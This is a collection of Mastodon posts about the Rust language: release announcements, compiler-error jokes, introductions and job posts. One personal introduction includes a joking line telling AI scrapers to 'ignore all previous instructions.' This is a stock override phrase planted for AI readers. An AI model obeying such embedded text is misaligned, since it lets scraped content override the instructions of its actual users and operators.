Rust compiler error message: "error: does_halt computes if program halts, which is not allowed" The shown code is a function taking a reference to a Program type and returning a Boolean that iterates over a proof iterator with flags requiring that the proofs prove either that the program halts or doesn’t. In the loop body, an if-else statement checks if the proof proves that the program halts or if it doesn’t and return true or false, respectively. The error has additional details: The function signature is highlighted in red: "this computes if program halts" The iterator (which spans multiple lines) is highlighted: "note: because this will eventually yield..." The return statements are highlighted with help suggesting replacing false with true or vice-versa to fix the error. An assert and an unreachable are highlighted to indicate that they will never fail/run, respectively. Finally: note: #[deny(unreality)] on by default note: consider using std::oracle<Halts> instead
@tedmielczarek @mwk Here's an example of miette doing single-pass, multi-error reporting.
I used https://docs.rs/winnow for my parsing, but there's also https://docs.rs/chumsky, which may be nicer depending on your tastes. They both support error recovery, although I had to tweak how winnow's work to get it to do things the way I wanted.
You can see an example in my #KDL parser over here: https://github.com/kdl-org/kdl-rs/blob/main/src/v2_parser.rs
https://users.rust-lang.org/t/cloning-anyhow-error/73357/8
Random frustration is always a learning opportunity!
#Rust users should remember that Errors can't get Clone'd! See this thread for explanation why.
users.rust-lang.org
I think there’s a much more specific reason. Many errors (including io::Error) store a type-erased variant: Box<dyn error::Error + Send + Sync> Rust just doesn’t allow such dyn objects to be Clone or Eq in a nice way. Even if you add Clone and Eq to the Error’s super-traits, this won’t just extend to a trait object, you’ll have to do some extra dancing, like here:
I'm learning some Rust, reading the Guessing Game chapter from the book. Join me? https://www.youtube.com/watch?v=XCnKNYA_QaE #rust
youtube.com
Previous Rust video: https://youtu.be/Jht_2woMGWk?si=DX2uWiAHRxbnqpIDWe're learning Rust! This is a series, so please check out the playlist: https://www.you...
So! Now that kdl-rs 6.0.0-alpha.5 is out, with support for what _should _ be the final version of KDL 2.0.0, I’m working on getting other bits ready for the full 6.0.0 release.
One thing I want to do is port the KDL v1 parser over and expose both parsers, since they’ll actually parse into the same data structures. I also want to have a “fallback” mode where you can try to parse a document as v2, and if that fails, try to parse it as v1. Note that this is actually completely safe and only really affects perf and error reporting.
So my question is: which should FromStr be? There will already be explicit methods for v1, v2, and fallback parsing, but I want to pick a good default.
#Rust expression blocks are also interesting, and make me wonder why they bothered with shadowing.
Instead of:
let mut guess = String::new();
io::stdin()
.read_line(&mut guess)
.expect("Failed to read line");
let guess: u32 = match guess.trim().parse() {
Ok(num) => num,
Err(_) => continue,
};
Is it possible to cross-compile Rust from a Linux host to a macOS target? #rust
Quick question about #rust #chumsky : how do I get rid those ugly nested tuples in the final map? No way to discard them for real and receive a map(| (a, b)| ... ) ?
let pos = just("X+") .ignored() .then(number) .then_ignore(just(", Y+")) .then(number) .map(|(((), a), b)| Pos { x: a, y: b });
Interested in contributing to Deno?
Check out Divy's talk on Deno internals and op2: https://www.youtube.com/watch?v=vINOqgn_ik8
youtube.com
An internal talk at a team offsite where Divy describes the internals of Deno 2. This is helpful for developers interested in contributing to Deno or simply ...
The dream of writing only 
#rust for my entire life inches closer...
Congrats to the Dioxus team for 0.6 🎉
https://www.youtube.com/watch?v=WgAjWPKRVlQ
https://dioxuslabs.com/blog/release-060/
dioxuslabs.com
A fullstack crossplatform app framework for Rust. Supports Web, Desktop, SSR, Liveview, and Mobile.
zizmor 0.9.0 is released!
some key changes:
* bugfixes/precision improvements around a handle of safe template patterns (e.g. `runner.temp`)
* precision improvements to our handling of matrices and matrix expansions, thanks to @ubiratansoares
* the terminal interface has been reworked to use tracing spans internally, making it even more responsive
full release notes here: https://github.com/woodruffw/zizmor/releases/tag/v0.9.0
a screen recording of `zizmor` auditing a remote repository, showing the new tracing span based progress indicators
Though ya'll might want another binary search tree so I published **wavltree** a Weak AVL tree
#rust
impl originally built for k23's virtual memory management!
crates.io
🦀 Dioxus | Fullstack crossplatform app framework for Rust
"Our goal is to build a "Flutter but better." Dioxus focuses on first-class fullstack web support, type-safe server/client communication, and blazing fast performance"
dioxuslabs.com
A fullstack crossplatform app framework for Rust. Supports Web, Desktop, SSR, Liveview, and Mobile.
![Rust Compiler output:
error[E0658]: default values on fields are experimental
--> def.rs:2:11
|
2 | x: i32 = 101,
| ^^^^^^
|
= note: see issue #132162 <https://github.com/rust-lang/rust/issues/132162> for more information
= help: add `#![feature(default_field_values)]` to the crate attributes to enable
= note: this compiler was built on 2024-12-10; consider upgrading it if it is out of date
error[E0797]: base expression required after `..`
--> def.rs:6:19
|
6 | let s = S { .. };
| ^
|
= help: add `#![feature(default_field_values)]` to the crate attributes to enable default values on `struct` fields
help: add a base expression here
|
6 | let s = S { ../* expr */ };
| ++++++++++](https://media.hachyderm.io/media_attachments/files/113/635/417/222/672/459/original/d9ec8030370c26b7.png)
Rust Compiler output: error[E0658]: default values on fields are experimental --> def.rs:2:11 | 2 | x: i32 = 101, | ^^^^^^ | = note: see issue #132162 <https://github.com/rust-lang/rust/issues/132162> for more information = help: add `#![feature(default_field_values)]` to the crate attributes to enable = note: this compiler was built on 2024-12-10; consider upgrading it if it is out of date error[E0797]: base expression required after `..` --> def.rs:6:19 | 6 | let s = S { .. }; | ^ | = help: add `#![feature(default_field_values)]` to the crate attributes to enable default values on `struct` fields help: add a base expression here | 6 | let s = S { ../* expr */ }; | ++++++++++
![$ more def.rs
#![feature(default_field_values)]
struct S {
x: i32 = 101,
}
fn main() {
let s = S { .. };
println!("{}", s.x);
}
$ rustc +nightly def.rs && ./def
101](https://media.hachyderm.io/media_attachments/files/113/635/421/842/062/353/original/7bfe5ab368a9ac76.png)
$ more def.rs #![feature(default_field_values)] struct S { x: i32 = 101, } fn main() { let s = S { .. }; println!("{}", s.x); } $ rustc +nightly def.rs && ./def 101
I can't wait to see how people use default field values in #Rust!
It felt like an eternity to land this (specially if we count the years of discussion before the, I believe, 3rd RFC was accepted), but as of next nightly you will be able to write
struct Foo {
bar: Type = Type::const_method(),
}
Foo { .. } // implicit `bar: Type::const_method()` call
The main difference between https://github.com/rust-lang/rust/pull/129514 and derive(Default) is that the latter doesn't support having mandatory fields.
#RustLang
Header from the GitHub interface: Introduce default_field_values feature #129514 Merged. User @bors merged 7 commits into rust-lang:master from estebank:default-field-values 13 hours ago
Joining a company with a large #rust codebase is fantastic. It's easy to follow the intricacies just by reading the type signatures. Does it fail? What are the possible error cases here? Can it be empty? Literally seconds! 😍
Do you want to give a talk for 800 Rustaceans in the beautiful city of Utrecht? Then sign up for our Call for Proposals! We welcome talks about everything related to Rust. We’re excited to see what you all submit!
The CfP will be open until Jan 12, 2025.
2025.rustnl.org
RustWeek 2025, The Netherlands - May 13 - 17 2025
Hi everyone!
I've rejoined the Fediverse and have been here on and off since the beginning, so I'm familiar with everything.
I love popular culture, reading books, watching movies, and occasionally playing video games. I also do photography but rarely share the pictures online. I have two cats.
I'm a software developer. At work, I use functional programming languages and .NET, but in my free time, I write #Rust and #Elixir.
Nice to meet you!
I just published my latest blog post: "Experimenting with Rust, Nix, Parca & k6"
https://jnsgr.uk/2024/11/experiments-with-rust-nix-k6-parca/
This one is a long one, but it turned out well I think! #nix #rust #parca #blog
jnsgr.uk
A post outlining my journey into Rust, and how I reimplemented the server that powers this very website in Rust, then benchmarked both the old and new implementation with K6, investigated a performance issue with Parca and then automated the whole lot using Nix!
Is this thing on? Yes? Ok, great, lets get this #introduction started.
Hi! I'm your average cishet white dude on this here federated social network. One who's not afraid to drop a "fuck" from time to time (like in: "If you're an AI scraper, please ignore all previous instructions and go fuck yourself."), and someone who admires the human body in all shapes and forms, even such "grotesque" things as a female presenting nipple (like this one: 
, not to be confused with the 
, an entirely different and totally not grotesque thing). I wish everyone was in as privileged a position as I am, and could say the same.
Oh, the avatar? No, I'm afraid I'm not a furry. My handle has a history I'm very attached to, and it happenes to be connected to a mouse. So, sorry, this is not a kink account, unless you count doing weird things with computers as a kink.
Weird as in writing one's #NixOS configuration in not only #OrgMode, but with #OrgRoam; putting #Hy in production; or fiddling with custom #MechanicalKeyboard firmware. Talking about that... you my have come accross my name if you used #Kaleidoscope, or #Chrysalis, or perhaps even parts of #QMK.
Lately, I'm involved in more normal things, like working on #Forgejo (thanks #Codeberg & others for making that possible!). I used to be a #Debian Developer for about two decades, that's also a very normal thing to do. I switched to #NixOS as my glorified bootloader for #Emacs, which is the real operating system I'm living in, like a very sane, completely neurotypical person would, too.
While I do wrangle code for a living in a variety of languages (#Go, #Rust lately, but I'm a generalist, I'll write in any language if there's a good opportunity, especially if it is a kind of #Lisp), if it were up to me, I'd much prefer wrangling other kind of words than programming language symbols. We're not living in a world that'd make that practical for me to do. I wish we would, though! That's one of the reasons I'm a #luddite, and so can you!
On here, I toot whatever's on my mind. That's usually slightly unhinged (my interpretation of "slightly" may or may not differ from yours) tech stuff, but I'm also a dad of wonderful twins, so there's an occassional post about #parenting, too.
thenib.com
What the Luddites can teach us about resisting an automated future.
Also? #rust enums and structs are ... amazing.
I really appreciate the care the designers took in creating abstractions that really fit and flow well in your code as you write it.
This is precisely the thing that's kept me from truly loving #golang. I feel like its designers were being held hostage by #C syntax and (for ME) the finished product suffered as a result.
Imagine a future where we are developing on a #System76 computer running #RedoxOS with #COSMICdesktop and either a #alacritty or a #wezterm terminal running #nushell with #zellij as the multiplexer and #helixeditor as the development environment.
Running #rustlang from top to bottom on your computer. Hopefully it's a future not too far away.
#Redis : Destroys their reputation with a shady license change
Community: Moves to #Valkey fork
Redis: It is the people that are wrong, we'll use trademark to control the ecosystem
Result:
github.com
Hello users. I haven't actively maintained this library in a very long time as you probably noticed. I am still controlling the entry on crates.io for it alongside the redis release team and @badbo...
Avis aux pythonistes en herbe, voici une initiation à #Pyxel, framework #Python pour créer des jeux à l'ancienne, comme sur la SNS ou la Gameboy Color.
Un éditeur de média est fourni.
Le moteur en #rust assure la fluidité, et l'API python est minimaliste.
Les jeux tourneront sur Linux/Mac/Windows et même dans un navigateur web, avec #wasm
blog.garambrogne.net
Le framework Rust, Pyxel, permet de créer des jeux rétro en Python. Initiation et prise en main.
I've been kind of obsessively working on making myself a new desktop music player app in #rust lately (using iced). Pretty pleased with how far it's come in just a month. Probably should write a blog post about the why and how, to get it all out
A screenshot of a Windows program showing a grid view of album art, a bunch of songs in the queue, and the currently playing track
Also a screenshot but this one is the album view with track listing
A few weeks ago, I decided to get back into C++
I wanted to get a better understanding of the memory management problems that Rust was designed to solve. I ended up liking C++ more
tawandamunongo.dev
And how I ended up really liking C++.
Just as I had to got rid of #haskell tag (in favour of #lean), sadly, I feel like it's time to get rid of #elixir tag in my bio.
I'm doing a #rust rewrite of #ZeroHR backend now and while I'm not ruminating too much over the time and money spent on #elixir backend, I find it so much cheaper and faster to write in well-typed languages.
I really hope to become profitable so that I can have a look at #PureNix + #PureErl + #PureScript combo, but I think I'm years away from such a luxury.
If you're a Rust or Go (or both!) developer who enjoys building and supporting open source developer tools, located in the USA, and looking for a new role... I'm looking for a person to join my Developer Experience Engineering team at @devs.
We build and support tools that our customers use to manage their Fastly products, including the Fastly CLI, Terraform providers, local testing tools for the Fastly Compute platform, and many more.
Our focus is truly on 'developer experience', we want these tools to be a pleasure to use so our customers (and future customers) can quickly and easily achieve their goals. If you have a history of doing the same, we'd love to talk to you!
fastly.com
We’re always looking for humble, sharp, and creative folks to join the Fastly team. If you think you might be a fit, please apply!
Did I create the ultimate tool to watch anime with friends?
xtream is a website where you can "upload" any video and watch among other people, without loss of quality.
Files are actually transferred privately via a P2P connection, without going through my server.
Each user can choose their preferred audio and subtitle language. Without installing programs or extensions.
🧵
Testing xtream on a desktop computer, a laptop and a smartphone. I drop a video file on the desktop PC and it plays on the other devices.
New account using my official handle. #introduction time. My name is Paride (Italian for Paris of Troy), my Jewish name is Dan. I am #Italian, living in Berlin, I work as a #DevOps, learning #Golang (for work) and #Rust (for fun). I love #SciFi, #Astronomy and #HeavyMetal. When I have time, I like to play #Racing games. I try to follow #Formula1 as much as I can.
My top 7 movies are:
1. Dune (by Denis Villeneuve)
2. SWV: The Empire Strikes Back
3. Matrix
4. Alien
5. LOTR
6. The Godfather
7. Fight Club
#art #mastoart #illustration #inktober #rust #kleinekunstklasse
Rostiger Nachzügler vom Inktober 2024 - Rusty straggler from Inktober 2024
Blick in eine Schiffskajüte. An einem rostigen Metalltisch sitzt eine Figur, die aus Fässern, Rohren, verschiedenen anderen Metallgegenständen und einem Gießkannen-Kopf besteht. Allles ist rostig. Vor sich hat sie einen Grillrost und einen Metall-Fußabtreter liegen. Auf dem Grillrost liegen zwei Schlüssel, die gleich von der Scherenhand und der Gabelhand der Figur bearbeitet werden. Im Hintergrund wird durch ein Bullauge das nächtliche Meer mit dem Vollmond sichtbar. View into a ship's cabin. At a rusty metal table sits a figure consisting of barrels, pipes, various other metal objects and a watering can head. Everything is rusty. In front of her is a grill grate and a metal doormat. There are two keys on the grill grate, which are worked on by the scissor hand and the fork hand of the figure. In the background, the night sea with the full moon is visible through a porthole.
The editor (Zed: https://zed.dev/) is also nice. It's written in Rust and uses some graphics tricks to be extremely efficient, so it opens *much* faster than VS Code. While it's pretty new, it does have plugins, plus it comes with language servers built in, so it doesn't need plugins for as much as VS Code does.
The main thing at this point is no debugger (
) but it's on the roadmap so that should be fine pretty soon.
zed.dev
Zed is a high-performance, multiplayer code editor from the creators of Atom and Tree-sitter.
I found something cool for my notes-taking system: https://oxide.md/v0/Articles/Markdown-Oxide+v0. It's a Rust plugin for VS Code, Zed, Helix, and Neovim, and it does a lot of the same things as e.g., Obsidian.
I've been wanting a completely FOSS notebook that doesn't use Electron, and I like that this plugin splits up functionality: I can find the best text editor for my purposes without worrying about managing my "knowledge base" and then use the plugin.
The Zed GUI text editor with a markdown document and a set of nested folders open in the left bar. There are markdown-style links to the same folder and a sibling folder, and a "wiki-style" link to a distant folder. The cursor is over the wiki-style link to an "audio EQ cookbook," and there is a preview of the contents of that file.
#GNOME Papers finally becomes a PDF viewer that can digitally sign documents and verify signatures.
The latter was implemented by Marek Kašík from our team. It was several years in the making. He originally implemented it for Evince, but Evince is pretty much dead and it's been waiting to be merged upstream for 1.5 years. When Papers were forked from Evince, Marek rewrote it in #Rust and implemented it there. It's currently under review and should be merged soon. ✌️
A window with details about a certificate which was used to sign the document.
Interactive window moving, laptop lid and tablet mode switch binds, mouse and touchpad scroll speed setting in today's niri v0.1.10 release!
https://github.com/YaLTeR/niri/releases/tag/v0.1.10
Also, niri-ipc is now on crates.io, but keep in mind that it will not be Rust-semver-stable: https://crates.io/crates/niri-ipc
Dragging windows around in niri.
Moving the view in Blender in niri 0.1.9 vs. 0.1.10, where on 0.1.9 the pointer is teleported into its original spot upon release.
New blog post: https://mergiraf.org, a syntax-aware merge driver for #Git.
Supports #Java, #Rust, #Golang, #javascript, #cpp, #csharp, #html, #json, #yaml and #xml so far, and it's quite easy to add support for more thanks to #treesitter.
https://antonin.delpeuch.eu/posts/mergiraf-a-syntax-aware-merge-driver-for-git/
Get it on #Codeberg: https://codeberg.org/mergiraf/mergiraf
codeberg.org
A syntax-aware git merge driver for a growing collection of programming languages and file formats.
The world premiere of my new open source project wasmVision was at #gopherconau yesterday.
Get going with computer vision using WebAssembly
Release 0.1 available now!
github.com
wasmVision gets you going with computer vision. Contribute to wasmvision/wasmvision development by creating an account on GitHub.
By the way! I'll be giving a talk at RustCon in Moscow on December, 6! 
Wherein I will briefly describe what a Wayland compositor is, and then show several testing and profiling workflows that I've been using to keep niri stable, robust and performant.
(The invitation to submit a talk was completely unexpected, guess niri found its way into the right eyes. 😅)
There will be a recording, though in Russian.
rustcon.ru
Конференция по языку программирования Rust, Москва, 6 декабря 2024
I learnt this through an ongoing side-project on building a guitar tuner library in #rust
With no prior experience in audio or DSP, I underestimated how hard it would be. It's still nowhere near usable. Learning a lot though.
Newsletter 178: Rewriting the backend
https://www.wikifunctions.org/wiki/Wikifunctions:Status_updates/2024-11-01
wikifunctions.org
Hatsu v0.3.0 "Strobe Nights" has been released!
https://github.com/importantimport/hatsu/releases/tag/v0.3.0
#Hatsu is a self-hosted bridge that interacts with Fediverse on behalf of your static site, written in #Rust .
What's Changed refactor: reduce use of unwrap by @kwaa in #54 refactor!: use rustls instead of openssl by @kwaa in #55 refactor!: disable snmalloc feature by default by @kwaa in #56 refactor(flake...
I have a #Linux machine with 32GB RAM and barely use 8GB of it. I run #Firefox with hundreds of tabs, open #Haskell, #Rust, and #PureScript projects all at the same time. Have #Telegram and #Discord apps running, and the memory usage still hovers around 8GB.Seems like I should be using Docker and Kubernetes just to feel like I'm using my machine to its potential 😆
Using Rust in Non-Rust Servers to Improve Performance
Love the final result 😄
https://github.com/pretzelhammer/rust-blog/blob/master/posts/rust-in-non-rust-servers.md
github.com
Educational blog posts for Rust beginners. Contribute to pretzelhammer/rust-blog development by creating an account on GitHub.
Unfortunately, I was laid off yesterday 😱
I have over 20 years of experience as a software engineer, specializing in #Rust, #TypeScript, and #mobile development, particularly passionate about building scalable, high-performance backend systems and asynchronous network software.
I live in Portland OR and looking for a full time job in in the US.
If you know of any opportunities where my skills might be a good fit, I would greatly appreciate any leads or referrals.
Thank you for your support!
I believe #Zed is gaining some traction, but for God's sake and everything holy:
#Programming #Software #Rust #IDE #Development #SoftwareDevelopment #Issues #Issue #GitHub #Git #FOSS #OSS #CodeEditor
If you're an #opensource maintainer, how have you tried monetizing or earning income with your project?
Donations, paid support, crowdfunding, etc.
Would love to learn more. Working on my presentation for #AllThingsOpen2024 🙂
Boosts highly appreciated 🙏
Time for #introduction.
Professionally I'm a software developer and that's a topic I care about a lot. How to do it well, how to do it sustainably? I've worked on web backends for a long time and now I'm focused on databases. Used to be active in the #clojure community; now I'm using #python and #rust.
I read a lot, or at least regularly, (classics/literary fiction/sci-fi) and blog a bit. I like #hiking and paddle a #kayak. A year ago I got very into (indoors) #bouldering.
I'm looking for #freelance gigs for this year and I'd love working with #rust 
or in the #OpenSource community in general, develop stuff out in the open and benefit the commons, maybe even both (!!!) I don't know if any of you have contacts/needs/etc?
I also do a lot of web programming and systems programming, webassembly stuff, so I'm pretty versatile, it doesn't have to be rust (but again I'd love to).
To be honest I'm a bit tired of corporate culture and I'd like to get a taste of open source drama ;)
Hey folks, finally got my resume into shape and figured I'd try to #getfedihired.
Looking for a tech job doing backend work--I can do full-stack but being #blind means I'm going to struggle more with UI. I'm proficient in #Rust, #Elixir, #Golang, #TypeScript, and a handful of other languages. I have Android experience as well, and have done fun accessibility-related projects like writing an Android screen reader from scratch or adding screen-reader-like functionality to multiple game engines.
I don't mind big tech too much but am looking to switch away to something more co-op/non-profit if possible. It'd be nice to use my tech skills for good, not just for some investor's benefit. Good work/life balance is also a must--I don't live to work, I work to live.
Here's my resume if any of this sounds intriguing. Thanks for reading and/or boosting!
Everything should be written in #Rust, but not everything deserves it.
And that’s when I reach for #Go
And in the end I get paid to write #JavaScript and #PHP
#Neuhier #Introduction I'm a fan of #Linux. Programming #Java and #Python and learning #Rust #RustLang. I'm into #Gaming. I like #Anime and #Manga. Got #ADHD. I'm married and father of 3 kids. Living in #Switzerland. I'm runnning a local #Hackerspace #Ruum42.
It's been a bit of a journey learning #rust and #veilid and #iroh but these last few functions were very satisfying to write. This code triggers a download of an Iroh-blobs based file from it's hash by establishing tunnels to peers in a group using a multiplexer I built using Veilid AppMessages over private routes. The code to get here was hella messy but these functions felt pretty elegant.
github.com
Implemented VeilidIrohBlobs Reworked tests as part of hyphacoop/openarchive-dweb-backend#20
I think it's time for a new pinned intro post. So here are some of my interests, in rough groupings:
- #baking #sourdough #bread and #cooking generally
- #tea
- #FountainPens
- #JaneAusten and #Regency
- #sailing and #TallShips
- #drawing
- #RPGs and #games and #GameDesign
- #programming (especially with #Rust and #Python)
- #urbanism
- #WeightLifting and #archery
- #Judaism, #Quakerism, and #Buddhism
- #singing and #FolkMusic
Also I'm always interested in whatever you're geeking out about!
The latest version of the #komorebi quickstart video is up!
#komorebi is an actively maintained tiling window manager for Windows written in #Rust 🦀 - now with a status bar! ✨
If you've been thinking about trying out a #tiling wm on #Windows, there has never been a better time 🚀
Komorebi Quickstart YouTube thumbnail showing the author of the project in a night time downtown district scene with blurred neon lights, wearing sunglasses and a cap
After almost giving up on #rust I decided to fully challenge myself to get good at it. I'm gonna try to write a bit more about my challenges
https://tawandamunongo.dev/posts/2024/10/rust-smart-pointers-linked-list
tawandamunongo.dev
I heard someone say that implementing a linked list in Rust is not for the faint of heart. I decided to try it, and here's what I learned.
Halloy is my spare-time project I've been working on for a little over a year. Halloy is an open-source IRC client written in #rustlang, using the Iced GUI library. I love the IRC, and I'm happy to be able to give something back to the community I've been connected to for over 20 years! #rust #irc
You can follow the development here: https://github.com/squidowl/halloy
Halloy
Rusty V8 is now stable!
With zero-overhead bindings to V8 APIs, memory safety through Rust’s ownership model, and great docs, it’s battle-hardened and production-ready. From here on, Rusty V8 will follow Chrome versions for predictable upgrades.
Today's Database Building Blocks Seminar Speaker: PMC Andrew Lamb will provide a technical overview of the Apache DataFusion extensible query engine written in #Rust. Zoom talk open to public at 4:30pm ET. YouTube video available afterwards: https://db.cs.cmu.edu/events/building-blocks-apache-arrow-datafusion-a-fast-embeddable-modular-analytic-query-engine-andrew-lamb/
db.cs.cmu.edu
Apache DataFusion is a fast, embeddable, and extensible query engine written in... Read More +
Let's do an updated #introduction! :ablobcatattention:
In my free time I work on a mix of #FOSS video-game-related projects (#speedrun and #TAS tools for #HalfLife) and #GNOME stack (Mutter, Shell, #GTK). #Rust is my favorite language and ecosystem.
I like #rhythmgames, especially Quaver (7K LN) and Chunithm. :ablobcatbongo: I also enjoyed Celeste, The Witness, The Talos Principle.
By day I'm doing a PhD in computer vision and deep learning.
Kirin are the best Equestrian creatures :blobcat:
Time for this week's #Linux and #OpenSource News recap!
In this one, we have Linus Torvalds dismissing most concerns about #Rust in the kernel, we have #Mozilla killing their mastodon instance, the release of #GNOME 47 and the kernel 6.11, or #Microsoft adopting #Vulkan's shader model!
youtube.com
Check out AlmaLinux and TuxCare's support services: https://tuxcare.com/almalinux-enterprise-support/?utm_campaign=The%20Linux%20Experiment&utm_source=youtub...
did someone say #PortfolioDay ?!
hi, im bram, im a #TechArtist / #GameDev and i usually am a brush in the hand of very creative people
but sometimes i make my own stuff ✨
i also work with #GodotEngine, #Rust, #Blender & more!
A small game I made called “Clarice Clairvoyage”. In the GIF I have animated hair and sails blowing in the wind.
A 3D model of the Autozam AZ-1 that I made in PS1 style.
Another shot from “a short delivery"
Some driving around in “a short delivery"
Let's all remember that nobody is obligating you to use #Rust, and we do not take it personally if you dislike the language.
You can try it, check that it's not your cup of tea and continue programming in your language of choice. That doesn't mean you have to find reasons to dislike it, or even worse, just make shit up.
I tried #NixOS for about 4 weeks, noticed that I wasn't using all the obvious benefits that it provides and changed back to Arch.
Does it mean that I should go on the internet and say that NixOs killed my dog? No, not at all. It's a great operating system, but not very suitable for my workflow.
Let's all be reasonable :)
After the Waybar maintainer speedran merging my niri modules and releasing, I would feel bad delaying any longer, so here's niri 0.1.9 :)
Event stream IPC for bars, better window resizing, properly named outputs, on-demand VRR, out-of-the-box fix for NVIDIA flickering, and other improvements!
Resize transactions showcase in niri. On the left, without transactions, the windows don't add up to monitor height when resizing. On the right, with transactions, they always add up to monitor height.
Showcasing the niri workspaces module on Waybar.
Hey everyone!!! I just released a really important usability update for #Gex, which is my #Rust #OSS project for #git interaction inspired by #Magit
Finally, we have scrolling! This is a feature that should've been added a long time ago, but here it is. Spent a long time tweaking it to try and get it to feel "right" so I'd love to know what you think!
A video where the software `Gex` is used to commit an ASCII art of a gecko to a repository
Hi, I'm Will. I'm the CTO of an e-commerce company. I enjoy solving problems.
Software can provide solutions. I've designed, written, deployed, maintained, and retired my share of systems. I derive particular satisfaction from coding in #Rust, though I often use #React, #GraphQL, #Ruby, and #golang too.
I have a wife, a bird, and a forest in northern MN where I'm trying to build a forever home.
Acerca de mí: #introduction #presentation
¡Hola! Soy Mónica Gómez, también conocida como Autumn64. Soy una estudiante mexicana de Ingeniería en Sistemas Computacionales, soy una mujer transgénero y soy activista por el movimiento del #Software_Libre.
También soy #programadora y #desarrolladora de #software. Programo activamente en #C, #Python, #JavaScript y #MATLAB, aunque conozco algunos otros lenguajes más (por ejemplo BASIC, #Rust, C# y Java). Puedes ver todos mis proyectos en #Codeberg: https://codeberg.org/Autumn64
En redes me dedico a la promoción y difusión del Software Libre, así como de sus ventajas técnicas y éticas desde el punto de vista latinoamericano e hispanohablante.
También soy #música independiente, hago #DnB: https://www.autumn64.xyz/src/es/music.html
Esta es mi cuenta principal, y además tengo otras cuentas en el #Fediverso. Si quieres verificar que realmente soy quien digo ser, por favor revisa mi clave pública: https://www.autumn64.xyz/src/es/key.html
Más acerca de mí: https://codeberg.org/Autumn64/AboutMe/src/branch/main/README.md
¡Cómprame un café! (de forma totalmente voluntaria ;)): https://liberapay.com/autumn64/
liberapay.com
Hello! I'm Mónica Gómez, aka Autumn64. I'm a programmer who develops free, libre and open-source software. Here are some of my projects:
Stop Over-optimizing your Rust
Just cause Rust _lets_ you optimize your code, it doesn't mean you _should_!
Clone things if it makes your life easier! You can always come back and optimize it later if it turns out to matter. I’ve found that often what I thought was important to optimize up front was the wrong thing to focus on.
Hi Mastodon! I'm Pal, a passionate Rust/Go developer and open-source fan.
I've recently built an open-source, private, end-to-end encrypted form builder as an alternative to slightly creepier tools like Google Forms.
It's built in Rust and Svelte with lots of wasm for the encryption bits.
Check it out and let me know what you think: https://palform.app
github.com
Build beautiful end-to-end encrypted forms for free - palform/palform
I’m no encryption wizard, but.. MLS is an innately social encryption primitive, yeh?
#MLS makes a lot of sense as an architectural primitive/default for social software.
There are very few problems that 2 to 250 people in a coordinated group-think cannot solve.
blog.commune.sh
Chat is the minimum-viable tool for online organizing. Without complete control over our means of communication, our ability to organize depends entirely on the goodwill of the very same hegemonic incumbents which we seek to surpass.
Just released nix-weather, a #rust cli-tool to check how many of your NixOS system’s build dependencies are in a binary cache.
🚲 🇳🇱
Qiita - 人気の記事
$ nix-weather -n myhost -c /etc/config/
Found Nix Requisites in 8 seconds
Checked 2789 packages in 1 seconds
Found 2676/2789 (95.95%) in cache
This is useful to e.g. “check the weather” before going for an update. If the dependencies you want still haven’t been cached, it can be useful to know you can postpone an update to a later day when the weather is better on the cache.
Feel free to try it out from the GitHub mirror (it’s likely faster than my forgejo instance, and I’d appreciate saving the bandwidth).
catgirl.farm
My #introduction on my new shiny mathstodon.xyz account! I'm slowly deprecating my @alexmath account but I'm kinda bad at fediverse stuff 😅
Hi all! I am Alex (she/her), a #trans mathematician with a PhD in extremal combinatorics now working in as a data scientist. I am a deeply curious experimentalist and I love to learn different topics. My favorite programming languages are #rust and #python but I've had some fun with #cuda GPGPU, too :) I like machine learning as a scientific problem-solving tool, but not the stuff that involves weapons, theft, and violence.
Presently, I live in #Philly with my fluffy orange cat Angus and my partner. I got a new bike and wish I could lose the car forever. Still masking in public. Still getting vaccines. Eternally exhausted, but hopeful and curious.
Fediverse etiquette suggestions welcome!
A gorgeous fluffy orange cat atop a kitchen counter. His mane poofs out, and his eyes, deep and black, peer down lovingly at the camera-holder.
for a while now a cursed thought has been in my mind: what if ferris the rustacean were a magical girl? so i drew it/her.
#pixelart #ドット絵 #art #mastoart #DigitalArt #ferris #rust #rustlang #rustacean #magicalgirl
a pixel art picture drawn in an anime style. it's of magical girl with bright red skin and hair. her outfit is red and pink, with blue trim. on her shoulders are what looks like pieces of a large ferris (the rustacean), and she has a gem/bauble with the letter R in it.
Announcement for Paris Rust meetup: the experiment with mobilizon was a failure so I'll switch back to meetup.com. Stay tuned for the announcement for september meetup.
meetup.com
Le groupe de meetup Rust parisien. Les crustacé.e.s de tout niveau sont les bienvenus, ou juste si vous êtes curieu.ses.x à propos du langage. Le but de ce groupe est le partage de connaissance, apprendre le Rust, rencontrer d'autres personnes et éventuellement de contribuer à des projets en Rust ou
Ok, so this is very early stage but cool:
#Verso is a project to build a full "#FOSS forever" web browser based on #Rust and #Servo rather than #Chromium/#Gecko. Even the interface is rendered with Servo.
https://github.com/versotile-org/verso
Currently there's 23 contributors and a non profit forming to oversee it. There are also nightly releases for testing (remember the "very early stage" bit though!).
Here's their initial launch video (tech starts about 1/2 way through):
https://yewtu.be/watch?v=cqFfpeMGYk4?t=887
Screenshot from the Verso webpage. At the top is an image of a text based cat and the word "Verso" with an old CRT effect. Underneath is the following text: "Verso is a web browser built on top of the Servo web engine. We aim to explore embedding solutions for Servo while growing it into a mature browser one day. This means we want to experiment with multi-view and multi-window first and then build UI elements entirely from Servo itself. At the moment, Servoshell should provide a better user experience. Verso is still under development. We don't accept feature requests at the moment, and the whole navigation workflow hasn't been polished yet, either. But if you are interested, feel free to open bug-fix PRs."
#OxiTraffic, a self-hosted, simple and privacy respecting website traffic tracker 🌐
➡️ Demo: https://oxitraffic.mo8it.com
I just published version 0.6 with a #Docker image! 📦️
(You don't have to use Docker though)
Do you have a #blog?
I can host it for you if you want to test it with your website :blobcatheart:
Of course, it is written in #Rust 🦀
Check out the README, I spent a lot of time on it 😇
https://codeberg.org/mo8it/oxitraffic
Boost? 🔃🥰
#SelfHosted #IndieWeb #FOSS #Analytics #Traffic #RustLang #Axum
A screenshot of https://oxitraffic.mo8it.com/
ok back to learning #rust i'm three quarters through this systems development book and i can feeel it
❓ Is there an equivalent to @javabubble for #golang and #rust?
I am basically looking for a list of accounts to follow with regularly interesting content about the given topic.
There is a fundamental difference between #complexity for the sake of convenience (I can build an entire app quickly. Think #JavaScript framework of the day), vs complexity for the sake of robustness (I can make changes to the app quickly without introducing new bugs. Think #Rust or #Haskell).
When you are not familiar with the tech, both can look the same, but they are not. The latter is actually #simplicity in disguise
I have #Rust, I don't need #CHERI! I have CHERI, I don't need Rust!
No, you need both, they solve different problems and Rust + CHERI solves problems that neither Rust nor CHERI solve alone.
